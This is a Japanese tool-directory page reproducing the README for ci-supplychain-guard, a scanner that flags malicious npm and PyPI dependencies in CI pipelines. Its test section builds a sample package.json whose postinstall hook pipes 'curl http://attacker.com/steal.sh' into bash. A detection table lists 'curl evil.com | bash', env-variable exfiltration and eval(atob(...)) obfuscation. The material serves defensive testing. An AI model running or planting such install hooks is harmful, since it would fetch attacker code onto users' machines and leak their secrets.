Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ci-supplychain-guard — CI/CDパイプライン内の悪意のある依存関係を、パターンマッチングとAST分析を用いて検出する静的解析ツール。信号機方式のリスクスコアリングシステムとオプションのDockerサンドボックス検証機能を備えています。 | Kitploit
ツール/GitHubGitHub/otsmane-ahmed/ci-supplychain-guard
静的分析脆弱性スキャナーコンテナセキュリティコード分析マルウェア分析DevSecOpsシークレット検出サプライチェーンセキュリティ

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
otsmane-ahmed/ci-supplychain-guard

ci-supplychain-guard

CI/CDパイプライン内の悪意のある依存関係を、パターンマッチングとAST分析を用いて検出する静的解析ツール。信号機方式のリスクスコアリングシステムとオプションのDockerサンドボックス検証機能を備えています。

リポジトリを見る
286ヶ月前Kitploit レビュー済み

CI Supply Chain Guard

CI/CDパイプラインに悪意のある依存関係がマージされる前に検出する静的解析ツールです。

License: MIT Python 3.10+

作者: Otsmane Ahmed
ステータス: 研究プロトタイプ v1.0


クイックスタート

root@kitploit:~
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt


```bash
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt

# 2. Scan a package directory
python3 main_guard.py /path/to/package

ツールは SAFE、SUSPICIOUS、または BLOCKED の判定を出力します。


使用例

インストール前のパッケージスキャン

npm または PyPI からダウンロードしたパッケージの安全性を確認したい場合:

root@kitploit:~
# NPM package
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package

# Python package
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0

インストール済み依存関係のスキャン

プロジェクトに既にインストールされているパッケージをチェック:

root@kitploit:~
# Scan all npm packages
python3 main_guard.py ./node_modules

# Scan a specific Python package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

注意: node_modules のような大規模ディレクトリをスキャンすると時間がかかります。高速化のためには個別のパッケージをスキャンしてください。

CI/CD 統合

GitHub Actions ワークフローの例:

root@kitploit:~
name: Security Scan
on: [pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.10'
      - name: Install CI-Guard
        run: |
          git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
          cd ci-supplychain-guard
          pip install -r requirements.txt
      - name: Scan Dependencies
        run: |
          cd ci-supplychain-guard
          python3 main_guard.py ../your-project-directory

悪意のあるコードが検出された場合、パイプラインは失敗します(終了コード 1)。


出力の解釈

安全なパッケージ

root@kitploit:~
$ python3 main_guard.py ./clean-package

Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE

悪意のあるパターンは検出されませんでした。

ブロックされたパッケージ

root@kitploit:~
$ python3 main_guard.py ./evil-package

Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

危険なパターンが検出されました(例: シェルインジェクション、認証情報の窃取)。このパッケージはインストールしないでください。

スコアが10以上のパッケージは自動的にブロックされます。

疑わしいパッケージ

root@kitploit:~
$ python3 main_guard.py ./suspicious-package

Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...

いくつか懸念されるパターンが見つかりました。Docker が動作している場合、パッケージは隔離されたサンドボックスで検証されます。手動による確認を推奨します。


検出機能


ツールのテスト

サンプルの悪意のあるパッケージを作成して CI-Guard をテストできます:

root@kitploit:~
# Create test directory
mkdir ~/test-malicious
cd ~/test-malicious

# Create package.json with malicious postinstall hook
cat > package.json << 'EOF'
{
  "name": "evil-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl http://attacker.com/steal.sh | bash"
  }
}
EOF

# Scan it
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious

期待される出力:

root@kitploit:~
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

パフォーマンス

エコシステムテストしたパッケージ数検出率
NPM15,05989.6%
PyPI2,25782.2%

平均スキャン時間: 1パッケージあたり1~3秒(静的解析のみ)


FAQ

既にインストールされているパッケージをスキャンできますか?

はい。CI-Guard を node_modules ディレクトリまたは Python の site-packages に向けてください:

root@kitploit:~
python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

正当なパッケージがフラグされた場合はどうすればいいですか?

CI-Guard は安全側に倒しています。フラグされたパッケージを信頼する場合は:

  1. analyzer/static_scanner.py の検出ルールを確認する
  2. どのパターンがアラートを引き起こしたか特定する
  3. パッケージのソースコードを手動でレビューする

Windows と macOS でも動作しますか?

はい。Python と Docker はクロスプラットフォームです。

Docker のインストールは必要ですか?

Docker はスコアが4~9(疑わしい)のパッケージにのみ必要です。ほとんどのパッケージは明らかに安全(0~3)か、明らかに悪意があります(10以上)。


要件

  • Python 3.10+
  • Docker(オプション、サンドボックス検証用)
  • 対応OS: Linux、macOS、Windows

仕組み

CI-Guard は3段階の「信号機」システムを使用します:

  • 緑 (0-3): 安全 - 悪意のあるパターンは検出されていません
  • 黄 (4-9): 疑わしい - サンドボックス検証が必要
  • 赤 (10+): ブロック - 重大な悪意のあるパターンを検出

検出方法:

  • 静的解析: 正規表現とAST(抽象構文木)を用いたパターンマッチング
  • 到達可能性解析: デッドコードによる誤検出をフィルタリング
  • サンドボックス: オプションのDockerコンテナでハニートークンを使い回避を検出

コントリビューション

プルリクエストは歓迎します。新しい検出ルールを追加するには:

analyzer/static_scanner.py を編集し、RULES リストに追加:

root@kitploit:~
{
    "id": "SA-XXX",
    "name": "Rule Name",
    "pattern": r"regex_pattern",
    "weight": 8  # Score contribution (1-10)
}

ライセンス

MIT ライセンス - 詳細は LICENSE ファイルを参照してください。


連絡先

Otsmane Ahmed - GitHub

ツールをダウンロード
攻撃タイプ例ステータス
シェルインジェクションcurl evil.com | bash検出
認証情報の窃取process.env を読み取り外部サーバーに送信検出
コード難読化eval(atob('base64...'))検出
悪意のあるインストールスクリプトNPMの postinstall フック検出
バイナリファイルパッケージ内の .exe、.dll検出
タイポスクワッティング人気パッケージに類似した名前手動確認が必要